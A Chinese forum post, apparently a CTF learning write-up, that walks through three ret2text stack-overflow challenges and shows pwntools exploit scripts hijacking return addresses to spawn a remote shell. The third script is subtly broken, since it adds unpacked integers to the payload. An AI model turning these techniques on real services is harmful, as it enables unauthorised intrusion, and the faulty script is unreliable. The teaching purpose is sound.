首页
社区
课程
招聘
[分享]Pwn入门练习WP
发表于: 43分钟前 27

[分享]Pwn入门练习WP

43分钟前
27

PS:这里是采用的PolarD&N靶场中Pwn相关题目做的练习,主要聚焦了栈溢出漏洞中的ret2text的三个练习,由于没有找到合适的函数调用栈的图解,里面对于栈溢出的变化过程的描述也比较粗糙

第一题:简单溢出

这里先把题目文件下载下来,然后查看一下文件信息

file hahaha
checksec --file=hahaha

可以看到是64位的可执行文件,然后保护措施也只有NX,这里用64位IDA来看它的C语言源码

可以看到main函数中内容很简单,栈溢出漏洞也很明显,定义了一个字符变量v4长度限制是48个字节,但是__isoc99_scanf()函数获取字符没有长度限制,因此可以构成溢出,边栏处有个fact函数,这个函数内有系统函数system("/bin/sh"),是典型的ret2text,下面构造exploit

from pwn import *

#io = process('./hahaha')           这里用于本地测试脚本
io = remote('IP',port)         #IP和端口改成服务器分配的即可

padding = 0x08 + 0x30          #计算偏移量,这里0x08是64位系统下rbp占用宽度,0x30是v4局部变量占用的宽度
system_addr = 0x0000000000400596            #这里是fact函数在的内存位置

payload = b'A' * padding + p64(system_addr)        #这里用字符A来占满局部变量和rbp指向的栈的位置,然后溢出部分的system_addr就会进入ret指令流中

io.sendline(payload)
io.interactive()

运行代码即可拿到flag

python3 exp.py
ls
cat flag

第二题:小狗汪汪汪

同样文件下载下来后查看信息

file woof
checksec --file=woof

可以看到这是32位程序,然后依然只有NX保护开启,下面用32位的IDA分析

这里重点分析dog()和getshell()这两个函数,可以注意到getshell()这个函数里面又有系统函数system(),并且依旧调用了"/bin/sh"这个shell路径,再看dog()函数,局部变量s给它分配了9字节空间,然后gets()函数本身没有长度限制,可以任意输入,因此导致了栈溢出,综上可以联想到和第一题一样是ret2text类型的溢出漏洞,这里exploit和上面的构造思路如初一折不在赘述,只给出最终的exploit结果

from pwn import *

#io = process('./woof')
io = remote('IP',port)

padding = 0x04 + 0x09
getshell_addr = 0x0804859B

payload = b'A' * padding + p32(getshell_addr)

io.sendline(payload)
io.interactive()

保存运行即可,和上一题相同

第三题:x64

前面套路一样的,下载文件,查看信息,这个程序是64位的,然后保护措施都没开,这里不过多赘述了

直接从IDA64开始分析

其实通过前两题也可以知道一般init()函数都没太大用,只是用来初始化一些数据的,因此我们去看一下function()函数内部

这里就可以看到问题了,局部变量buf分配的空间是80h,然而read()函数限制的大小是0x200要远远大于buf分配空间,因此可以输出更多字符来造成溢出,现在我们来看一下侧栏中system函数

注意到system函数并没有包含shell的路径,而是接收一个command参数,从而执行command参数所传递的命令,由于64位系统下参数的传递是具有顺序的,顺序为rdi,rsi,rdx,rcx,r8和r9,因此command这个参数会最传递给rdi,但是我们想要能够执行的命令是在栈中,这样方便我们操作,于是我们可以通过控制传入的参数从而控制程序,因此在溢出超过rbp指向的栈底到达被调用函数的ret返回值地址时,可以调用pop rdi指令,我们需要找到是否有pop rdi指令的地址

ROPgadget --binary ./x64 --only "pop|ret"

找到了地址为0x00000000004007e3,然后我们再看能否在源文件内找到类似shell的地址

可以看见有/bin/sh的地址,那这就好办了,我们只需要将rsp寻址的时候将pop rdi的地址放入被调用函数的ret返回值存储空间中,然后被调用函数的参数依次放入/bin/sh和system函数的地址,就能保证将/bin/sh的地址弹入rdi中然后被system函数执行最终拿到shell,下面构造exploit

from pwn import *

#io = process('./x64')
io = remote('IP',port)

padding = 0x08 + 0x80
binsh_addr = 0x0000000000601060
rdi_addr = 0x00000000004007e3
system_addr = 0x0000000000400560

#这里按照前面的思路分析,根据函数调用栈的变化依次加上各个地址即可
payload = b'A' * padding
payload += rdi_addr
payload += binsh_addr
payload += system_addr

io.sendline(payload)
io.interactive()

将IP和port换成服务器提供的即可拿到flag


一个小总结:栈溢出的常见函数read()和gets()以及__isoc99_scanf(),然后ret2text的一个重点就是没有构造新的代码,利用的是程序中原有的代码进行了重装和组合,因此程序中要有system之类的系统函数,还有shell地址,才能进行利用,利用的方式也要根据函数调用栈的原理来构造。


传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!

收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回